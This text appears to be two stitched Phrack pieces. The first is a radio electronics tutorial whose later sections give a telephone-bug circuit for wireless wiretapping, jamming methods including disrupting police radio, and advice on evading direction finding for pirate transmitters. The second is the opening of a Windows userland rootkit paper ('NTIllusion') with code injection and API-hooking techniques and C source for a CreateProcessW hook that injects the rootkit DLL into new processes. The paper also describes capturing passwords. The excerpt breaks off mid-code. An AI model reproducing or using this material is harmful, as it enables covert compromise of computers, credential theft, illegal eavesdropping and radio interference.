As we can see, superhet demodulation is significantly more complex than 'rectification'. Superhet receiver systems, like the above system diagram, works basically as follows. First, an RF alternating current becomes present in the circuit, because of the electromagnetic activity around the aerial. Signals of the correct radio frequency are selected via a tuned circuit, and inputted into one input pin of the 'mixer'. In the meantime, the other input of the mixer is occupied by the 'local oscillator', which

is designed to be oscillating at a frequency just lower than the inputted radio frequency. The output of the mixer is known as the 'Intermediate Frequency' (IF), which is the difference between the local oscillator frequency, and the frequency of the received AM radio signal. Next, the 'IF' is amplified, and passed to an 'envelope detector'. The output of the envelope detector is the modulating audio signal (an AF -- Audio Frequency), which is in turn amplified, and outputted to the user via a loudspeaker or other audio output device.

Since the local oscillator is almost always set to oscillate at a frequency of approximately 465KHz *below* the frequency of the carrier input, the output of the mixer will always be a 'carrier' of 465KHz -- which still carries the modulated information. After the signal is amplified by the IF amplifier(s) (there can be more than one IF amplifier), the signal is now demodulated by the detector -- which is often just a single diode. As mentioned above, the modulating signal recovered by the system can be fed to an amplifier, followed by an audio output device.


As well as producing a higher quality of audio signal, superhet receivers also eliminate the need to be able to tune multiple tuned circuits in a TRF (Tuned Radio Receiver). TRF designs become awkward when it comes to tuning them into different radio frequencies because of the many tuned circuits needed -- superhets overcome this problem as they always 'know' what the collector load will be -- a 465KHz signal. Superhet designs can also be adapted to work with FM radio signals, assuming the 'detector' is changed to a suitable detector for FM signals (i.e phase detector).

----[2.4 - Circuits

Since radio technology is a frequently discussed topic across the Internet, many radio circuit design implementations are readily available, ranging from very simple circuits, to quite complex ones. Here I present some radio related circuits which most people with a bit of electronics knowledge and the right components can build.

-----[2.4.1 - Receivers

Discussed above was the historic 'crystal set' radio receiver, which allows anyone with a long enough aerial wire and a few components to listen to AM radio bands. Below is the basic crystal set radio receiver circuit, which is very easy to construct.




- C1 should be a variable capacitor to allow the station to tune into other frequency bands.
- D1 should be a low-drop germanium diode -- non-germanium diodes won't work.

From previous discussion, we can figure out that the above 'crystal set' AM radio receiver works as follows; incoming radio waves generate a tiny alternating current in the aerial wire, from which 'wanted' radio frequencies are selected, by the tuned LC circuit. Selected current passes through a diode, which 'rectifies' the signals, thus demodulating them. Before the diode, there is a simple transistor, which amplifies the 'wanted' frequency. The only reason for this is to make the quality of sound slightly better. Any remaining RF components are removed using a single capacitor -- this consequently has the effect of smoothing out the signal. The product audio signal is passed to a set of headphones -- these *must* be high-impedance, or nothing audible sounds on the headphones.

As was noted earlier, this type of receiver was used frequently in the 1920s, and gave even newbie electronic enthusiasts of that time the opportunity to build something that would be considered very useful at that time. To make decent use of the 'crystal set' circuit, around 60-70 turns of wire around a rod of ferrious metal would create a good aerial.

Designs like above are never used in commercial radio receivers anymore. Excluding superhet receivers, TRFs are occasionally used to produce low quality radio receivers. Below is a simple TRF receiver schematic.



- C2 should be a variable capacitor

- C5 and C6 should be variable capacitors
- Resistors of sensible values should suffice
- Capacitors of sensible values should suffice


As in the 'crystal set' receiver, when a radio signal is 'picked up' by the aerial, the proper frequency is selected using the LC tuned circuit. The signal is passed to a transistor amplifier. However, this time, the transistor amplifier has a 'tuned collector load', because of the tuned LC circuit (LC2) at the collector leg of the transistor. Next, the signal is rectified, stored in a few capacitors until enough current has collected, and is eventually fed to the user with the high impedance headphones. The use of the tuned collector load at the transistor causes for the receiver to be more precise, amplifying only the signals which are at the frequency of LC2's resonant frequency. As expected, this causes for a higher quality of audio signal to be fed into the users headphones, making this a much better radio receiver.

A few things can be done to improve the above receiver, such as adding yet more tuned amplifiers, and perhaps adding a few more resistors and capacitors for safety and efficiency purposes.

-----[2.4.2 - Transmitters

All that we really need to do when designing a simple radio transmitter is keep in mind that we require an oscillator -- either tuned or crystal controlled -- and a series of amplifier circuits which boost our signal. After these stages, all that is left is to make the signals oscillate in the aerial wire.

Below is a simple radio transmitter schematic.



- TR2 is a PNP transistor
- M is a microphone

This circuit works by oscillating at the frequency controlled by the crystal (27MHz would be legal in the UK), amplifying the signal with tuned collector loads at the transistor (TR1), and then by radiating the signal off as radio waves by oscillating the signal in the aerial wire. Amplitude modulation is added to the signal by varying the gain of the transistor driver, by connecting it to the output of a microphone. The above circuit is quite inefficient, and is likely to produce low quality signals, but it can be used as a starting point to building a simple AM radio transmitter. It's probably illegal to operate the above circuit on frequencies requiring a license, so some countries *require* the circuit to be crystal controlled on a 'model radio' RF. One improvement to be made on the schematic is to amplify the output of the microphone before feeding it to the transistor driver.

Possible devices which could apply the AM modulation are audio amplifiers, or even op-amps. An audio amp following the oscillator would produce a higher quality, stronger signal, but would also provide power gain (i.e amplitude gain), in sympathy with the audio signal produced by the microphone. This gain of amplitude due to the audio amp has essentially applied Amplitude Modulation of the carrier signal, because the power of the signal has been altered according to the inputted audio signal (at the microphone). An ordinary op-amp could be used in a similar way, but by substituting the non-inverting input pin with a suitable power supply. Essentially, this would cause for an outputted gain from the op-amp, according to the audio signal, because the two inputs to the op-amp are compared, as such.

--[3 - FM Radio


----[3.1 - What is FM radio?

FM radio just means any form of technology which makes use of radio with FM modulated signals. To modulate a radio wave's carrier with information, FM transmitters shift the frequency of the carrier very slightly, to be in sympathy with a modulating signal.

----[3.2 - Modulation

FM modulation consists of little more than shifting a radio wave's carrier frequency very slightly in sympathy with a modulating signal's frequency.

Modulation of an example audio signal is shown in the figures below.




The diagrams show that when the frequency of the modulating signal increases, so does the given carrier frequency, and the opposite when the modulating signal's frequency decreases. This is shown in the FM signal diagram by the bands being spaced widely apart when the modulating signal frequency is increasing, and more closely together when the modulating signal's frequency is decreasing.

----[3.3 - Demodulation

When an FM modulated carrier signal is detected by the receiver's aerial wire, in order to recover the modulating signal, the FM modulation must be reversed.

Most modern FM radio receivers use a circuit called the 'phase-locked loop', which is able to recover FM modulated radio signals by use of a VCO (Voltage Controlled Oscillator), and a 'phase detector'. Below is the system diagram of a PLL suitable for use in FM radio receivers.



The above PLL is able to recover the modulating signal by having one input to a phase detector as the modulated carrier, and the other input as a VCO oscillating at the frequency of the RF carrier. The phase detector 'compares' the two frequencies, and outputs a low-power voltage relative to the difference between the two 'phases', or frequencies. In essence, the outputted voltage will be relative to the frequency by which the carrier's frequency was shifted during modulation by the transmitter. Therefore, the output of the PLL, known as the 'phase error', is the recovered modulating signal. In addition to being outputted from the small system, the voltage is also given to the VCO as 'feedback', which it uses to 'track' the modulation. Acting upon the feedback received, the frequency of oscillation is altered accordingly, and the process is repeated as necessary.

In the past, less efficient and reliable circuits were used to demodulate FM radio signals, such as the 'ratio detector'. Although the 'ratio detector' is less sophisticated than PLL methods, a functioning ratio detector circuit is actually a little more complex than PLLs.


It should be noted that superhet receivers, touched upon a little earlier, can also be used as FM radio receivers, but their 'detectors' are different to that of an AM superhet -- for example, a PLL circuit or ratio detector discussed here could be used in conjunction with a superhet receiver to make an FM radio. This is the method which is actually adopted by most commercial radio receiver manufacturers.

----[3.4 - Circuits

-----[3.4.1 - Transmitters

The same general principles apply to FM radio transmitters as they do to AM radio transmitters, except that information must be modulated in a different way. In AM radio transmitters, the carrier frequency is more or

less always constant. However, in FM transmitters, the whole principle is to alter the carrier frequency in small amounts. This means that a tuned oscillator circuit is not appropriate, because we need to alter the frequency accordingly, not transmit at one static frequency. The method used to overcome this problem is discussed a little later. A simple FM transmitter schematic diagram is presented below.



When audio signals are produced by the microphone, current carrying audio frequencies are amplified, and are used to modulate the radio wave. Since the microphone does this all for us, there is no need to use modulation modules, ICs, or other technology. In situations where an electret microphone is not available to do the modulation for us, a varactor diode can be used to vary the capacitance in an oscillator circuit, depending on the amplitude of a modulating signal. This varies the oscillation frequency of the oscillator circuit, thus producing FM modulation.

--[4 - Misc

----[4.1 - Pirate Radio

Pirate Radio stations are simply just radio stations ran by individuals who are not licensed amateur radio enthusiasts. Although radio is actually a natural resource, it has been illegal for a significant amount of time in some countries to transmit radio waves on certain frequencies. Although transmitting radio signals on certain frequencies (around 27MHz) is legal in places like the UK, strict FCC regulations kick in, almost limiting the threshold to useless. Because of this limitation, radio enthusiasts all around the globe see fit to set up pirate radio stations, which they use for their enjoyment, playing their favourite music tracks to the 'public', and for a breeding ground for aspiring DJs. Some 'pirate radio' stations keep within the FCC terms, by transmitting at low-power. These types of stations are often referred to as 'free radio', or 'micropower stations'.

The legality of pirate radio stations is questionable, but varies from country to country. In some European Countries, you can be arrested for just owning an unregistered transmitter. In Ireland, prosecution rarely takes place if registered radio stations are not affected, but it is still illegal. The US allows transmission of radio signals at *microscopic* power, making the limitations almost useless for unlicensed radio enthusiasts, thus causing them to resort to pirate radio.

Contrary to popular belief, setting up a pirate radio station is not necessarily a difficult task. At the minimum, someone wanting to setup a pirate radio station would need the following pieces of equipment:

- Stereos, CD Players, Microphones, etc.
- Audio Amp
- Audio Mixer
- Transmitter
- Aerial

Stations using only the above equipment can sometimes sound quite crude, and might interfere with other legal radio stations. To avoid this, a 'compressor' can be used, which also limits the noise created by sudden loud noises in the background.

Although any of the example transmitters in this article probably wouldn't be sufficient enough to transmit music audio signals over the air, but they could be used as a starting point to building your own, more efficient kit. Additionally, FM and AM radio kits can be purchased, which anyone with a soldering iron can build.


The length and height of the antenna depends entirely on how far the radio signals need to be transmitted. By reading the previous sections, some information on getting a correctly sized aerial can be gained. For example, a quick and dirty aerial for an AM pirate radio station could be around 15-20 feet tall.

To avoid being busted, it is probably a good idea to stay within the legal power limits. Otherwise, a Direction Finding device used by the authorities could easily track down the exact location of the transmitter.

----[4.2 - Wireless Telephone Tapping

'Beige boxing' has long been the easiest and most exploited way to tap telephones, interrupt on neighbours conversations, and use enemies phone lines to make long distance calls to your friend in Australia. However, since beige boxing requires the phreak to lurk around like a ninja, a safer method can be used, which doesn't require you to be physically close to the target phone line.

As expected, audio signals on a target phone line can be transmitted as radio signals at an arbitrary frequency, and be received by any phreak with an FM radio receiver. Although this concept is not new, it serves as an interesting and useful project for radio newbies to try out. Below is a simple FM phone bug transmitter circuit.



- inductor should be about 8 turns of wire
- aerial should be about 5 inch long

By interchanging the varactor with a crystal, or by using a variable capacitor, the frequency band on which the bug transmits line activity could be changed accordingly. The varactor making up part of the oscillator circuit is intended to alter the frequency of oscillation, depending on the audio signal inputted from the green wire of the telephone line. The varactor diode can be thought of as an electrically variable capacitor, which in this case alters its capacitance in sympathy with the audio frequency on the telephone line -- causing for change of oscillation frequency, and thus frequency modulation.

The following op-amp provides additional strength to the signal, in an attempt to avoid a weak, unreliable signal. For user-friendly purposes, the LED connecting to the red wire of the line pair should illuminate when a signal is present on the line.

The above circuit can be modified to be made more efficient, and a longer aerial is an obvious way of lengthening the range of transmission. If a phreak was to construct and use a device like this, all they would need is an FM radio to tune into the correct frequency. There are much better designs than the minimalistic one above -- if a practical FM telephone bug is required, many plans are available.

----[4.3 - Jamming

Technically, all it takes to carry out 'radio jamming' is to transmit noise at a desired frequency. For example, if a person in the UK were to transmit RF noise at 30MHz+, police radio communications could possibly be disrupted. Although the principles are mostly the same, there are several different types of jamming.

- modulated jamming

This consists of mixing different types of modulation, and transmitting the results at a desired radio frequency. This is designed to make receiving legitimate radio signals hard or next to impossible.

- CW (continuous wave)

CW jamming only involves transmitting a constant carrier frequency once tuned into a RF frequency/band you want to jam. This again makes receiving desired radio signals particularly hard.

- Broadband

Broadband jammers spread Gaussian noise across a whole band of audio frequencies, blocking legitimate audio signals from easy reception.

A basic radio transmitter is easily modifiable, by adding a noise generator, to successfully jam arbitrary frequency bands. Many other types of radio jammers exist, and their details are readily available on the World Wide Web.

--[5 - Conclusion

Radio is an extremely useful technology, which is at least as old as the atom. But we are only just beginning to exploit its full usefulness in even new and up and coming technology, and probably will do for the next few hundred years.

As we've discovered, contrary to popular belief, employing the use of radio in electronic circuits isn't at all as complicated as one would think. Because of this, the use of radio can be both used and exploitfully abused -- only a few basic principles need to be understood to make use of this wonderful technology. Although the surface has only been scratched, and way forward is open.

--[6 - Bibliography

Phrack 60

Low Cost and Portable GPS Jammer

<<http://www.phrack.org/phrack/60/p60-0x0d.txt>>

The Art of Electronics

<<http://www.artofelectronics.com>>

Updates to the article:

<http://nettworke.co.uk/papers/radio.txt>

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0c of 0x10

```
|===== [ NTIllusion: A portable Win32 userland rootkit ] =====|
|-----|
|===== [ Kdm <Kodmaker@sysshell.org> ] =====|
```

This paper describes how to build a windows user land rootkit. The first part deal with the basis and describe a few methods to show how code injection and code interception are possible, while the rest of the paper covers the strategy that makes stealth possible in userland. A bigger version of the paper is also available at [1] so that novice peoples can refer to a preliminary article about injection and interception basics.

Table of contents

1. Introduction
2. Code Injection and interception
 - 2.1. System Hooks

- 2.2. CreateRemoteThread
- 2.3. Manipulating thread's context
- 2.4. Redirecting the Import Address Table
- 2.5. Inserting an unconditional jump (jmp)
- 3. User land take over
 - 3.1. User land vs Kernel land rootkits
 - 3.2. Restrictions...
 - 3.3. ...and constraints
 - 3.4. Setting a global hook to take over userland
 - 3.5. Local application take over
- 4. Replacement functions
 - 4.1. Process hiding
 - 4.2. File hiding
 - 4.3. Registry
 - 4.4. Netstat like tools.
 - 4.4.1. The case of windows 2000
 - 4.4.1.1. Hooking GetTcpTable
 - 4.4.1.2. Defeating netstat
 - 4.4.1.2. Defeating Fport
 - 4.4.2. The case of windows XP
 - 4.5. Global TCP backdoor / password grabber
 - 4.6. Privilege escalation
 - 4.7. Module stealth
- 5. Ending
 - 5.1. Conclusion
 - 5.2. Greetings
- 6. References

-----[1. Introduction

A rootkit is a program designed to control the behavior of a given machine. This is often used to hide the illegitimate presence of a backdoor and others such tools. It acts by denying the listing of certain elements when requested by the user, affecting thereby the confidence that the machine has not been compromised.

There are different kinds of rootkits. Some act at the very bases of the operating system by sitting in kernel land, under the privileged ring 0 mode. Some others run under lower privileges in ring 3 and are called user land rootkits, as they target directly the user's applications instead of the system itself. These ring 3 rootkits have encountered a recrudescence the last years since it is somewhat more portable and polyvalent than ring 0 ones.

As there are multiple ways to stay unseen under windows, this article performs a windows rootkitting tutorial based on a strong implementation called the [NTillusion rootkit] which fits maximum constraints.

This rootkit has been designed to be able to run under the lowest privileges for a given account under windows. Indeed, it doesn't use any administrative privilege to be able to perform its stealth as it resides directly inside processes that are owned by the current user. In a word, all the ring 3 programs that a user might use to enumerate files, processes, registry keys, and used ports are closely controlled so they won't reveal unwanted things. Meanwhile, the rootkit silently waits for passwords, allowing the load of any device driver as soon as an administrator password is caught.

How does this works?

All this stuff is done in two steps. First, by injecting the rootkit's code inside each application owned by the current user and finally, by replacing strategic functions by provided ones. These tricks are performed at run time against a running process rather than on hard disk on binaries since it allows to work around the windows file protection,

antiviral and checksum tools as well. The rootkit has been tested successfully under windows 2000/XP, but may also run on older NTs. It's architecture allows it to be ported to windows 9x/Me but some functions are missing (VirtualAllocEx) or behave abnormally (CreateRemoteThread) on this version of the OS.

This introduction would not have been achieved without comments about the different sections of the paper that present each special characteristics. Section 3 deals about user land take over. This mechanism has already been presented by Holy_Father in [HIDINGEN]. However it is here done in a different way. In fact, the rootkit acts globally a level higher so things are changed and it results in a somewhat simpler but efficient spreading method. And contrary to Hacker Defender ([HKDEF_RTK]), NTillusion does not need the administrative privilege. So the approach I propose is different. This approach is also different when speaking about the way functions are chosen and replaced.

This is the case with section 4 which introduces an uncommon way to replace original functions. On one hand, the functions are most of the time replaced at kernel level. So, I hope this paper shows that performing a good stealth is possible also in userland. On the other hand when thinking about API replacement, people try to dig as much as possible in order to hook at the lowest level. This is sometimes a good thing, sometimes not. This is especially true with portability, which suffers from this run to low level. NTillusion replaces top level APIs as often as possible. As windows designers want programs that rely on the documented API to be portable from one windows version to another, and as the rootkit hijacks critical functions among this documented API, portability is accrued. Thereby there's no need to perform OS version check and it results in a more universal rootkit. Added to that, this section offers a new way for privilege escalation by showing how hooking the POP3/FTP traffic is possible in order to get login and passwords.

This is not the only new thing: section 4.7 offers a new way to hide a DLL loaded inside a given process. Usually, this would have been done by hooking modules enumeration APIs inside the memory space of each process able to reveal the rootkit. However I show how this is possible to do this by dealing directly with undocumented structures pointed by the Process Environment Block. Once this has been done, there's not need to worry about subsequent detection. To test this method I downloaded a rootkit detector, [VICE], and scanned my system. With no rootkit loaded, VICE produced most of the time some false positive for standart DLLs (kernel32/ntdll/...). Once the rootkit was loaded and using this technique, there was no noticable change and VICE was still accusing some system DLLs to be rootkits as before but there was no record about kNTillusion.dll that was however doing the job efficiently.

-----[2. Code Injection and interception

The goal of this section is to allow a process to replace the functions of another. This involves getting control of the target process, then to replace parts of it's memory carefully. Let's begin with code injection. So altering the behavior of a process requires to break into it's memory space in order to execute some code to do the job. Fortunately, windows perfors checks to prevent an application to read or write memory of an other application without its permission. Nevertheless the windows programmers included several ways to bypass the native inter-process protection so patching other processes' memory at runtime is a true possibility. The first step in accessing a running process is done trough the OpenProcess API. If the application possesses the correct security permissions, the function returns a handle to deal with the process, in the other case, it denies access. By triggering a proper privilege, a user may get access to a privileged process as we'll see later. In Windows NT,

a privilege is some sort of flag granted to a user that allows the user to override what would normally be a restriction to some part of the operating system. This is the bright side. But unfortunately there is also a seamy side. In fact there's multiple ways to break into the memory space of a running process and running hostile code in it, by using documented functions of the windows API. The following methods have already been covered in the past so I will only give an overview.

-----[2.1. System Hooks

The most known technique uses the SetWindowsHookEx function which sets a hook in the message event handler of a given application. When used as a system hook, i.e. when the hook is set for the whole userland, by relying on a code located in a dll, the operating system injects the dll into each running process matching the hook type. For example, if a WH_KEYBOARD hook is used and a key is pressed under notepad, the system will map the hook's dll inside notepad.exe memory space. Easy as ABC... For more information on the topic, see [HOOKS] and [MSDN_HOOKS]. Hooks are most of the time used for developping patches or automating user manipulations but the following method is from far more eloquent.

-----[2.2. CreateRemoteThread

Another gift for windows coders is the CreateRemoteThread API. As its name points out, it allows the creation of a thread inside the memory space of a target process. This is explained by Robert Kuster in [3WAYS]. When targeting a process running in a more privileged context, a rootkit may acquire God Power by activating the SeDebugPrivilege. For more information see the rootkit code. [NTillusion rootkit] Although this method seems interesting, it is from far widespread and easy to defeat using a security driver. See also [REMOTETH] for other info. More over, any injected DLL with this method will be easily noticed by any program performing basic module enumeration. Section 4.7 offers a solution to this problem, while the following section presents a less known way to run code inside a target process.

-----[2.3. Manipulating thread's context

CreateRemoteThread isn't the only debugging API that may be used to execute code into a target process. The principle of the following technique is to reroute a program's execution flow to malicious code injected in the program's memory space. This involves three steps. First, the injector chooses a thread of this process and suspends it. Then, it injects the code to be executed in the target process memory as before, using VirtualAllocEx/WriteProcessMemory, and changes a few addresses due to changes in memory position. Next, it sets the address of the next instruction to be executed for this thread (eip register) to point to the injected code and restarts the thread. The injected code is then executed in the remote process. Finally it arranges for a jump to the next instruction that should have been executed if the program had followed its normal course, in order to resume its activity as soon as possible. The idea of manipulating the thread's context is exposed in [LSD]. Other methods also exist to trigger the load of a given DLL inside the memory space of a target process. By design, the HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current Version\Windows\AppInit_DLLs key gathers the DLL to be loaded by the system inside each process relying on user32.dll. Added to that come the BHO, standing for browser help objects, that act as plugins for web-browsers, enabling the load of any sort of code.

But just taking over a process is not enough... Once the target process' memory space is under control, it's possible to replace its own functions by provided ones.

Code interception routines are critical since they had to meet efficiency and speed requirements. The methods presented in this section have their own advantages and drawbacks. As for the injection techniques, there's more than one way to do the job. The goal of the methods is to redirect another program's function when it is loaded in memory. For the target program, everything takes place as if it had called the desired functions as usual. But in fact the call is redirected to the replacement API. Some methods of API interception are based on features intentionally provided by the designers of the PE format to simplify the loader's task when a module is mapped into memory. The function redirection takes place once the code we inject into the target process is executed. To understand how these methods work, a thorough understanding of the PE format is needed; see [PE] and hang on with courage, the following methods are useful.

-----[2.4. Redirecting the Import Address Table

After injecting our code into the application's memory space, it is possible to change its behavior. We use a technique called "API hooking" which involves replacing the API by our own routines. The most common way to do this is to alter the import address table of a given module. When a program is executed, its various zones are mapped into memory, and the addresses of the functions it calls are updated according to the windows version and service pack. The PE format provides a clever solution to do this update, without patching every single call. When you compile your program, each call to an external API is not directly pointing to the function's entry point in memory. It is using a jump involving a dword pointer, whose address is among a table called the Import Address Table (IAT), since it contains the address of each imported function. At load time, the loader just needs to patch each entry of the IAT to modify the target of each call for all API.

Thus, to hijack, we simply patch the IAT to make the memory point to our code instead of the true entry point of the target API. In this way, we have total control over the application, and any subsequent calls to that function are redirected. This general idea of the technique which is detailed more in [IVANOV] and [UNLEASHED]. But hooking at IAT level is from far a non secure way. Undirect Call may be missed. To prevent this, there's only one solution... inserting an unconditional jump!

-----[2.5. Inserting an unconditional jump (jmp)

This technique involves modifying the machine code of a given API so that it executes an unconditional jump to a replacement function. Thus any call M-^V direct or indirect M-^V to the hooked API will inevitably be redirected to the new function. This is the type of function redirection used by the Microsoft Detours Library [DETOURS]. In theory, redirection by inserting of an unconditional jump is simple: you simply locate the entry point of the API to be hijacked and insert an unconditional jump to the new function. This technique make us lose the ability to call the original API, however; there are two ways to work around that inconvenience. The first is the method used in the famous hxdef rootkit, or Hacker Defender which is now open source [HKDEF_RTK]. The idea is to insert an unconditional jump while saving the overwritten instruction in a buffer zone. When the original API must be called, the redirection engine restores the real API, calls it, then repositions the hook. The problem with this technique is that it is possible to lose the hook. If things go wrong, there is a chance that the hook will not be restored when exiting the API. An even bigger risk is that another thread of the application may access the API between the time it is restored and the time when the hook is repositioned. Thus, as its creator Holy_Father knows, there is a chance that some calls may be lost when using this method.

However, there is another solution for calling the original API. It

involves creating a buffer containing the original version of the API's modified memory zone, followed by a jump to an address located 5 bytes after the start of the zone. This jump allows to continue the execution of the original function just after the unconditional jump that performs the redirection to the replacement function. It seems simple?

No, it isn't. One detail that I voluntarily left out until now: the problem of disassembling instructions. In machine code, instructions have a variable length. How can we write an unconditional five-byte jump while being sure not to damage the target code ("cutting an instruction in half")? The answer is simple: in most cases we just use a basic disassembly engine. It allows to recover as many complete instructions as required to reach the size of five bytes, i.e. the area just big enough to insert the unconditional jump. The useful redirection engine used in the rootkit is the one created by ZOMBiE (see [ZOMBIE2]). This hooking method, somewhat particular, has been covered by Holy_Father. Refer to [HKDEF] if you are interested. Hum, That's all folks about prerequisite. Now we're going to consider how to build a win32 rootkit using these techniques. Let's play!

-----[3. User land take over

-----[3.1 User land vs Kernel land rootkits

Most of the time, to achieve their aim kernel land rootkits simply replace the native API with some of their own by overwriting entries in the Service Descriptor Table (SDT). Against a normal windows system, they don't have to worry about persistence as once the hook is set, it will hijack all subsequent calls for all processes. This isn't the case for win32 ring 3 rootkits, acting at user level. In fact, the hook isn't global as for kernel ones, and the rootkit must run its code inside each process able to reveal its presence.

Some decide to hook all processes running on the machine including those of the SYSTEM groups. It requires advanced injection techniques, hooking methods and to target API at very low level.

Let me explain. Consider we want some directories not to be noticed when browsing the hard drive using explorer. A quick look at explorer.exe's Import Table reveals that it is using FindFirstFileA/W and FindNextFileA/W. So we may hook these functions. At first it seems tedious to hook all these functions rather than going a level under. Yeah, these functions rely on the native API ntdll.ZwQueryDirectoryFile, it would be easier to hook this one instead. This is true for a given version of windows. But this isn't ideal for compatibility. The more low level the functions are, the more they're subject to change. Added to that, it is sometimes undocumented. So on the one hand, there's hijacking at low level, more accurate but somewhat hazardous, and on the other hand, hijacking at high level, less accurate, but from far simpler to set up.

NTIllumination hijacks API at high level since I never designed it to reside into system processes. Each choice has a bright side and a seamy side. The following points describe the restrictions I wanted the rootkit to fit and the constraints windows imposes to processes.

-----[3.2 Restrictions...

The rootkit is made to be able to perform its stealth for the current user on the local machine. This is especially designed for cases where administrator level is unreachable for some reason. This shows that getting root is sometimes not necessary to be lurking. It represents a true threat in this case, since windows users have the bad habit to set their maximum privilege on their account instead of triggering it using runas to become admin only when needed. So, if the user is not currently admin, he probably isn't at all, so a user land rootkit will perfectly do

the job. Otherwise, it's time to go kernel mode. Thus, the rootkit is designed to only require privileges of the current user to become unseen to its eyes, whether this is an admin or not. Then it starts waiting for passwords collected by users using the runas method, allowing privilege escalation. It may also spy web traffic to dynamically grab pop3/ftp passwords on the fly. This is possible but a little bit too vicious...

-----[3.3 ...and constraints

As you should now know, windows maintains a native inter-process protection so a process won't access another if this one doesn't belong to its group or does not present the administrator nor debug privilege. So the rootkit will be restrained to affect processes of the current user. Contrariwise, if it got admin privilege, it may add itself to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key and hide its presence, being then active for all users on the machine. Due to the rootkit architecture, privileged processes will be able to see the system as it really is. So remote administration may reveal the rootkit, as much as FTP or HTTP servers running as services. The solution of this problem is to affect also system processes but the task is somewhat desperate and too considerable to just play the game of cat and mouse.

-----[3.4 Setting a global hook to take over userland

To be efficient, the rootkit must run under all visible applications that may reveal unwanted presence. Performing an injection try for each running process when the rootkit loads is not a good idea since it won't affect processes that would be run later. A perfect way to achieve this is to set a system wide hook, using SetWindowsHookEx for WH_CBT events. Therefore, the rootkit's dll will be injected into all running graphical processes, as soon, as they appear on screen. Unfortunately, the WH_CBT concerns only processes using user32.dll, therefore it won't affect some console programs. This is the case of windows cmd, netstat, and so on. Thereby, the rootkit must also affect processes so that it will be notified and injected when a process creation is about to be done. This is achieved by hooking the CreateProcessW function into all injected processes. This way, the rootkit will be running inside any newly created process. The CreateProcessW replacement and the system hook are complementary methods. This combination perfectly covers all situations : the execution of a graphical or console process from explorer, the taskmanager or any other application. It also has the advantage to inject the rootkit into the taskmanager when the user triggers Ctrl+Alt+Del. In this case, the taskmanager is created by winlogon which isn't hijacked by the rootkit. But the system hook is injected into as soon as it is created, since it is a graphical process. To prevent a process from being injected twice, the rootkit modifies pDosHeader->e_csum to be equal to NTI_SIGNATURE. When the Dll is loaded it first checks the presence of this signature and exits properly if needed. This is only a safety since a check is performed in DllMain to be sure that the reason DllMain is called matches DLL_PROCESS_ATTACH. This event only triggers when the DLL is first mapped inside the memory space of the application, while subsequent calls to LoadLibrary will only increase load counter for this module and be marked as DLL_THREAD_ATTACH.

The following code is the CreateProcessW replacement of the NTIllusion rootkit. It contains a backdoor by design: if the application name or its command line contains RTK_FILE_CHAR, the process is not hooked, thus allowing some programs not to be tricked by the rootkit. This is useful to launch hidden processes from windows shell that performs a search before delegating the creation of the process to CreateProcessW.

```

----- EXAMPLE 1 -----
BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName,
LPCTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,
DWORD dwCreationFlags, LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation)
{
    int bResult, bInject=1;
    char msg[1024], cmdline[256], appname[256];

/* Resolve CreateProcessW function address if it hasn't been filled
by IAT hijack. This happens when the function isn't imported at IAT
level but resolved at runtime using GetProcAddress. */

    if(!fCreateProcessW)
    {
        fCreateProcessW = (FARPROC)
            fGetProcAddress(GetModuleHandle("kernel32.dll"),
                "CreateProcessW");
        if(!fCreateProcessW) return 0;
    }

/* Clear parameters */
my_memset(msg, 0, 1024);
my_memset(cmdline, 0, 256);
my_memset(appname, 0, 256);

/* Convert application name and command line from unicode : */
WideCharToMultiByte(CP_ACP, 0, (const unsigned short *)
    lpApplicationName, -1, appname, 255, NULL, NULL);
WideCharToMultiByte(CP_ACP, 0, (const unsigned short *)
    lpCommandLine, -1, cmdline, 255, NULL, NULL);

/* Call original function first, in suspended mode */
bResult = (int) fCreateProcessW((const unsigned short *)
    lpApplicationName,
    (unsigned short *)lpCommandLine, lpProcessAttributes,
    lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED
    /*dwCreationFlags*/, lpEnvironment,
    (const unsigned short*)lpCurrentDirectory,
    (struct _STARTUPINFO *)lpStartupInfo,
    lpProcessInformation);

/* inject the created process if its name & command line don't
contain RTK_FILE_CHAR */
if(bResult)
{
    if(
        (lpCommandLine && strstr((char*)cmdline, (char*)RTK_FILE_CHAR)) |
        (lpApplicationName && strstr((char*)appname, (char*)RTK_FILE_CHAR)
    ))
    {
        OutputString("\n[i] CreateProcessW: Giving true sight to

        process '%s'...\n", (char*)appname);
        WakeUpProcess(lpProcessInformation->dwProcessId);
        bInject = 0;
    }
    if(bInject)

```



```

        InjectDll(lpProcessInformation->hProcess,
                  (char*)kNTIDllPath);

        CloseHandle(lpProcessInformation->hProcess);
        CloseHandle(lpProcessInformation->hThread);

    }
    return bResult;
}
----- END EXAMPLE 1 -----

```

Note that the child process is created in suspended mode, then injected by the Dll using CreateRemoteThread. The DLL hook function next wakes the current process up by resuming all its threads. This assures that the process has not executed a single line of its own code during the hijack time.

-----[3.5 Local application take over

Being injected into all processes in the system is the first step to take the ownership of user land. When being able to act anywhere, it must keep its control and prevent any newly loaded module to escape the function hooking that has been set in order to hide unwanted things. So it is strongly recommended to filter calls to LoadLibraryA/W/Ex in order to hook modules as soon as they are loaded into memory. The following function demonstrates how to replace LoadLibraryA in order to prevent hooking escape.

```

----- EXAMPLE 2 -----
/* LoadLibrary : prevent a process from escaping hijack by loading a new
dll and calling one of its functions */
HINSTANCE WINAPI MyLoadLibrary( LPCTSTR lpLibFileName )
{
    HINSTANCE hInst = NULL; /* DLL handle (by LoadLibrary)*/
    HMODULE    hMod  = NULL; /* DLL handle (by GetModuleHandle) */
    char       *lDll = NULL; /* dll path in lower case */

    /* get module handle */
    hMod = GetModuleHandle(lpLibFileName);

    /* Load module */
    hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);

    /* Everything went ok? */
    if(hInst)
    {
        /* If the DLL was already loaded, don't set hooks a second
           time */
        if(hMod==NULL)
        {
            /* Duplicate Dll path to perform lower case comparison*/
            lDll = _strdup( (char*)lpLibFileName );
            if(!lDll)
                goto end;
            /* Convert it to lower case */
